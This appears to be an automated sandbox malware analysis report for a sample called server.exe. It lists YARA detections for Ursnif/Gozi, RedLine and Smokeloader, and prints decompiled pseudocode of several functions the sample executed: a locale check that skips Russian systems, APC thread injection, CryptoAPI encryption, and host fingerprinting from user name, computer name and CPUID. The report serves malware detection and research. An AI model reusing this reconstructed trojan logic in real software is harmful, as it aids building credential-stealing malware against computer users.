Source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.437940393.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.523539634.0000000000816000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.523315446.0000000000610000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.437762221.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.437924768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000002.523909474.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.437846787.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.437887198.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.437824443.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: server.exePID: 1668, Parent PID: 3452COMMON

Executed Functions

Function 004019F1 Relevance: 27.2, APIs: 18, Instructions: 160
threadsleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E004019F1() {
				long _v8;
				char _v12;
				char _v16;
				void* _v40;
				long _t28;
				long _t30;
				long _t31;
				signed short _t33;
				void* _t37;
				long _t40;
				long _t41;
				void* _t48;
				intOrPtr _t50;
				signed int _t57;
				signed int _t58;
				long _t63;
				long _t65;
				intOrPtr _t66;
				void* _t71;
				void* _t75;
				signed int _t77;
				signed int _t78;
				void* _t82;
				intOrPtr* _t83;

				_t28 = E00401D68();
				_v8 = _t28;
				if(_t28 != 0) {
					return _t28;
				}
				do {
					_t77 = 0;
					_v12 = 0;
					_t63 = 0x30;
					do {
						_t71 = E004012E6(_t63);
						if(_t71 == 0) {
							_v8 = 8;
						} else {
							_t57 = NtQuerySystemInformation(8, _t71, _t63,  &_v12); // executed
							_t67 = _t57;
							_t58 = _t57 & 0x0000ffff;
							_v8 = _t58;
							if(_t58 == 4) {
								_t63 = _t63 + 0x30;
							}
							_t78 = 0x13;
							_t10 = _t67 + 1; // 0x1
							_t77 =  *_t71 % _t78 + _t10;
							E00401BA9(_t71);
						}
					} while (_v8 != 0);
					_t30 = E00401688(_t77); // executed
					_v8 = _t30;
					Sleep(_t77 << 4); // executed
					_t31 = _v8;
				} while (_t31 == 0x15);
				if(_t31 != 0) {
					L30:
					return _t31;
				}
				_v12 = 0;
				_t33 = GetLocaleInfoA(0x400, 0x5a,  &_v12, 4); // executed
				if(_t33 == 0) {
					__imp__GetSystemDefaultUILanguage();
					_t67 =  &_v12;
					VerLanguageNameA(_t33 & 0xffff,  &_v12, 4);
				}
				if(_v12 == 0x5552) {
					L28:
					_t31 = _v8;
					if(_t31 == 0xffffffff) {
						_t31 = GetLastError();
					}
					goto L30;
				} else {
					if(E00401800(_t67,  &_v16) != 0) {
						 *0x404178 = 0;
						L20:
						_t37 = CreateThread(0, 0, __imp__SleepEx,  *0x404180, 0, 0); // executed
						_t82 = _t37;
						if(_t82 == 0) {
							L27:
							_v8 = GetLastError();
							goto L28;
						}
						_t40 = QueueUserAPC(E0040139F, _t82,  &_v40); // executed
						if(_t40 == 0) {
							_t65 = GetLastError();
							TerminateThread(_t82, _t65);
							CloseHandle(_t82);
							_t82 = 0;
							SetLastError(_t65);
						}
						if(_t82 == 0) {
							goto L27;
						} else {
							_t41 = WaitForSingleObject(_t82, 0xffffffff);
							_v8 = _t41;
							if(_t41 == 0) {
								GetExitCodeThread(_t82,  &_v8);
							}
							CloseHandle(_t82);
							goto L28;
						}
					}
					_t66 = _v16;
					_t83 = __imp__GetLongPathNameW;
					_t48 =  *_t83(_t66, 0, 0); // executed
					_t75 = _t48;
					if(_t75 == 0) {
						L18:
						 *0x404178 = _t66;
						goto L20;
					}
					_t22 = _t75 + 2; // 0x2
					_t50 = E004012E6(_t75 + _t22);
					 *0x404178 = _t50;
					if(_t50 == 0) {
						goto L18;
					}
					 *_t83(_t66, _t50, _t75); // executed
					E00401BA9(_t66);
					goto L20;
				}
			}

0x004019f7
0x004019fc
0x00401a01
0x00401ba8
0x00401ba8
0x00401a0a
0x00401a0a
0x00401a0e
0x00401a11
0x00401a12
0x00401a18
0x00401a1c
0x00401a53
0x00401a1e
0x00401a26
0x00401a2c
0x00401a2e
0x00401a33
0x00401a39
0x00401a3b
0x00401a3b
0x00401a42
0x00401a48
0x00401a48
0x00401a4c
0x00401a4c
0x00401a5a
0x00401a61
0x00401a6a
0x00401a6d
0x00401a73
0x00401a76
0x00401a7f
0x00401ba4
0x00000000
0x00401ba6
0x00401a92
0x00401a95
0x00401a9d
0x00401a9f
0x00401aaa
0x00401ab2
0x00401ab2
0x00401ac0
0x00401b96
0x00401b96
0x00401b9c
0x00401b9e
0x00401b9e
0x00000000
0x00401ac6
0x00401ad1
0x00401b0f
0x00401b15
0x00401b27
0x00401b2d
0x00401b31
0x00401b8d
0x00401b93
0x00000000
0x00401b93
0x00401b3d
0x00401b4b
0x00401b53
0x00401b57
0x00401b5e
0x00401b61
0x00401b63
0x00401b63
0x00401b6b
0x00000000
0x00401b6d
0x00401b70
0x00401b76
0x00401b7b
0x00401b82
0x00401b82
0x00401b89
0x00000000
0x00401b89
0x00401b6b
0x00401ad3
0x00401ad8
0x00401adf
0x00401ae1
0x00401ae5
0x00401b07
0x00401b07
0x00000000
0x00401b07
0x00401ae7
0x00401aec
0x00401af1
0x00401af8
0x00000000
0x00000000
0x00401afd
0x00401b00
0x00000000
0x00401b00

APIs

Part of subcall function 00401D68: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,004019FC), ref: 00401D77
Part of subcall function 00401D68: GetVersion.KERNEL32 ref: 00401D86
Part of subcall function 00401D68: GetCurrentProcessId.KERNEL32 ref: 00401DA2
Part of subcall function 00401D68: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00401DBB

Part of subcall function 004012E6: RtlAllocateHeap.NTDLL(00000000,?,00401A18,00000030,?,00000000), ref: 004012F2

NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 00401A26
Sleep.KERNELBASE(00000000,00000000,00000030,?,00000000), ref: 00401A6D
GetLocaleInfoA.KERNELBASE(00000400,0000005A,?,00000004,?,00000000), ref: 00401A95
GetSystemDefaultUILanguage.KERNEL32(?,00000000), ref: 00401A9F
VerLanguageNameA.KERNEL32(?,?,00000004,?,00000000), ref: 00401AB2
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 00401ADF
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 00401AFD
CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000), ref: 00401B27
QueueUserAPC.KERNELBASE(0040139F,00000000,?,?,00000000), ref: 00401B3D
GetLastError.KERNEL32(?,00000000), ref: 00401B4D
TerminateThread.KERNEL32(00000000,00000000,?,00000000), ref: 00401B57
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00401B5E
SetLastError.KERNEL32(00000000,?,00000000), ref: 00401B63
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 00401B70
GetExitCodeThread.KERNEL32(00000000,00000000,?,00000000), ref: 00401B82
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00401B89
GetLastError.KERNEL32(?,00000000), ref: 00401B8D
GetLastError.KERNEL32(?,00000000), ref: 00401B9E

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: ErrorLast$NameThread$CloseCreateHandleLanguageLongPathProcessSystem$AllocateCodeCurrentDefaultEventExitHeapInfoInformationLocaleObjectOpenQueryQueueSingleSleepTerminateUserVersionWait
String ID:
API String ID: 3475612337-0
Opcode ID: 63886129df23de6e3ef072691f354a937fc67659b51f8fa83a58e9985e998f06
Instruction ID: e4abbca9115d716754b6864e37b0832fe911a2439c52af45cdd796d0275508de
Opcode Fuzzy Hash: 63886129df23de6e3ef072691f354a937fc67659b51f8fa83a58e9985e998f06
Instruction Fuzzy Hash: 4E519E71901214ABE721AFA59D48EAFBA7CAB45755F104177F901F32A0EB389A40CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00791508 Relevance: 18.2, APIs: 12, Instructions: 163
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00791508(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x79a0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x79a0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E007933DC(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 =  *0x79a0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x79a0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E007961DA(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}

0x00791511
0x00791517
0x0079151a
0x00791520
0x00791520
0x00791522
0x00791524
0x00791527
0x0079152d
0x0079152e
0x0079152f
0x00791535
0x0079153a
0x00791540
0x00791548
0x007916a5
0x0079154e
0x00791550
0x00791559
0x0079155e
0x00791570
0x00791573
0x00791577
0x0079157e
0x00791582
0x0079158a
0x00791690
0x00791590
0x00791590
0x00791594
0x00791595
0x00791597
0x007915a2
0x0079167c
0x007915a8
0x007915a8
0x007915ab
0x007915b1
0x007915b7
0x007915b7
0x007915bf
0x007915c1
0x007915c6
0x0079166d
0x007915cc
0x007915d2
0x007915d5
0x007915d8
0x007915da
0x007915db
0x007915e0
0x007915e2
0x007915e2
0x007915ec
0x007915f1
0x007915f4
0x007915f7
0x007915f9
0x00791602
0x0079162c
0x00791604
0x00791615
0x00791615
0x00791634
0x00000000
0x00000000
0x00791636
0x00791639
0x0079163c
0x00791640
0x00000000
0x00791642
0x00791651
0x00791657
0x0079165f
0x0079165f
0x00000000
0x00791640
0x00791644
0x0079164a
0x0079164f
0x00791666
0x00000000
0x00000000
0x00000000
0x0079164f
0x007915c6
0x0079167f
0x00791682
0x00791682
0x00791697
0x00791697
0x007916af

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,00795088,00000001,00793ECE,00000000), ref: 00791540
memcpy.NTDLL(00795088,00793ECE,00000010,?,?,?,00795088,00000001,00793ECE,00000000,?,007966D9,00000000,00793ECE,?,7491C740), ref: 00791559
CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 00791582
CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 0079159A
memcpy.NTDLL(00000000,7491C740,02D29600,00000010), ref: 007915EC
CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,02D29600,00000020,?,?,00000010), ref: 00791615
GetLastError.KERNEL32(?,?,00000010), ref: 00791644
GetLastError.KERNEL32 ref: 00791676
CryptDestroyKey.ADVAPI32(00000000), ref: 00791682
GetLastError.KERNEL32 ref: 0079168A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 00791697
GetLastError.KERNEL32(?,?,?,00795088,00000001,00793ECE,00000000,?,007966D9,00000000,00793ECE,?,7491C740,00793ECE,00000000,02D29600), ref: 0079169F

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
String ID:
API String ID: 3401600162-0
Opcode ID: 6b21b90a64bf33ed83ec2f1fd67b1b8118b6e8d09383f46e51c84c2eff4e2932
Instruction ID: 0f1f644b2920a0aa774499edf65336b82f87ced90ccde6e4abccd0f160954dba
Opcode Fuzzy Hash: 6b21b90a64bf33ed83ec2f1fd67b1b8118b6e8d09383f46e51c84c2eff4e2932
Instruction Fuzzy Hash: A6516171900209FFDF10DFA9EC84AAE7BB9FB44340F148429F915E6150D7788E24DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00793BD3 Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00793BD3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x79a310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E007971CD( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x79a344 ^ 0x6c7261ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x79a2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E007956B9(_v8 + _v8, _t64);
							}
							HeapFree( *0x79a2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x79a2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E007956B9(_v8 + _v8, _t64);
						}
						HeapFree( *0x79a2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}

0x00793bd3
0x00793bdb
0x00793bdf
0x00793be2
0x00793be7
0x00793be9
0x00793bee
0x00793bee
0x00793bf4
0x00793bf6
0x00793c03
0x00793c64
0x00793c05
0x00793c0a
0x00793c10
0x00793c15
0x00793c23
0x00793c27
0x00793c36
0x00793c3d
0x00793c44
0x00793c44
0x00793c4f
0x00793c4f
0x00793c27
0x00793c15
0x00793c66
0x00793c6c
0x00793c76
0x00793c78
0x00793c7d
0x00793c8c
0x00793c90
0x00793c9b
0x00793ca2
0x00793ca9
0x00793ca9
0x00793cb5
0x00793cb5
0x00793c90
0x00793cc0
0x00793cc2
0x00793cc5
0x00793cc7
0x00793cca
0x00793ccd
0x00793cd7
0x00793cdb
0x00793cdf

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00793C0A
RtlAllocateHeap.NTDLL(00000000,?), ref: 00793C21
GetUserNameW.ADVAPI32(00000000,?), ref: 00793C2E
HeapFree.KERNEL32(00000000,00000000), ref: 00793C4F
GetComputerNameW.KERNEL32(00000000,00000000), ref: 00793C76
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00793C8A
GetComputerNameW.KERNEL32(00000000,00000000), ref: 00793C97
HeapFree.KERNEL32(00000000,00000000), ref: 00793CB5

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: e0ac0431d9f626ca2d97bb33b89f453c1da82c10a5c229f4b97b739824a94a5e
Instruction ID: 8bdd2e77619520cbf0eacd3de63f552b1fda239b6c2042f08ffabf2c68424d2d
Opcode Fuzzy Hash: e0ac0431d9f626ca2d97bb33b89f453c1da82c10a5c229f4b97b739824a94a5e
Instruction Fuzzy Hash: 6A316072A00605EFDB10DFA9DD81A6EB7F9FF48300F10842AE504E3260E738EE019B64

Uniqueness

Uniqueness Score: -1.00%

Function 0079421F Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E0079421F(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E007933DC(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E007961DA(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x0079422c
0x0079422d
0x0079422e
0x0079422f
0x00794230
0x00794234
0x0079423b
0x0079424a
0x0079424d
0x00794250
0x00794257
0x0079425a
0x0079425d
0x00794260
0x00794263
0x0079426e
0x00794270
0x00794279
0x00794281
0x00794283
0x00794295
0x0079429f
0x007942a3
0x007942b2
0x007942b6
0x007942bf
0x007942c7
0x007942c7
0x007942c9
0x007942c9
0x007942d1
0x007942d7
0x007942db
0x007942db
0x007942e6

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 00794266
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 00794279
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00794295

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 007942B2
memcpy.NTDLL(?,00000000,0000001C), ref: 007942BF
NtClose.NTDLL(?), ref: 007942D1
NtClose.NTDLL(00000000), ref: 007942DB

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 582eb45d5b2c6127ef31a743aae862ceee2de839d52a2784acd4aea07517bcff
Instruction ID: bd0e9e9f6c50329c3fc92ab0723fb71e257dcff3b60649f13a872a1ad2b99bd4
Opcode Fuzzy Hash: 582eb45d5b2c6127ef31a743aae862ceee2de839d52a2784acd4aea07517bcff
Instruction Fuzzy Hash: 6F21267290012DEBDF019F99DC85ADEBFBDFB08750F108026FA05E6120D7758A518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.6, APIs: 7, Instructions: 81
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E004015B0(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L00402026();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x404184;
				_push(_t15 + 0x4051ca);
				_push(_t15 + 0x4051c0);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L00402020();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x404188, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x004015b0
0x004015b9
0x004015bd
0x004015c3
0x004015c8
0x004015cd
0x004015d0
0x004015d3
0x004015d8
0x004015d9
0x004015dc
0x004015e7
0x004015ee
0x004015f2
0x004015f4
0x004015f5
0x004015f8
0x004015fd
0x00401607
0x00401609
0x00401609
0x0040161d
0x00401623
0x00401627
0x00401677
0x00401629
0x00401632
0x00401648
0x00401650
0x00401662
0x00401666
0x00000000
0x00000000
0x00401652
0x00401655
0x0040165a
0x0040165c
0x0040165c
0x0040163d
0x0040163f
0x00401668
0x00401669
0x00401669
0x00401632
0x0040167f

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000002,?,?,?,?,?,?,?,?,?,00401418,0000000A,?,?), ref: 004015BD
CreateFileMappingW.KERNELBASE(000000FF,00404188,00000004,00000000,?,?), ref: 0040161D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401418,0000000A,?), ref: 00401634
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00401648
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401418,0000000A,?), ref: 00401660
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00401418,0000000A), ref: 00401669
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401418,0000000A,?), ref: 00401671

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView
String ID:
API String ID: 3812556954-0
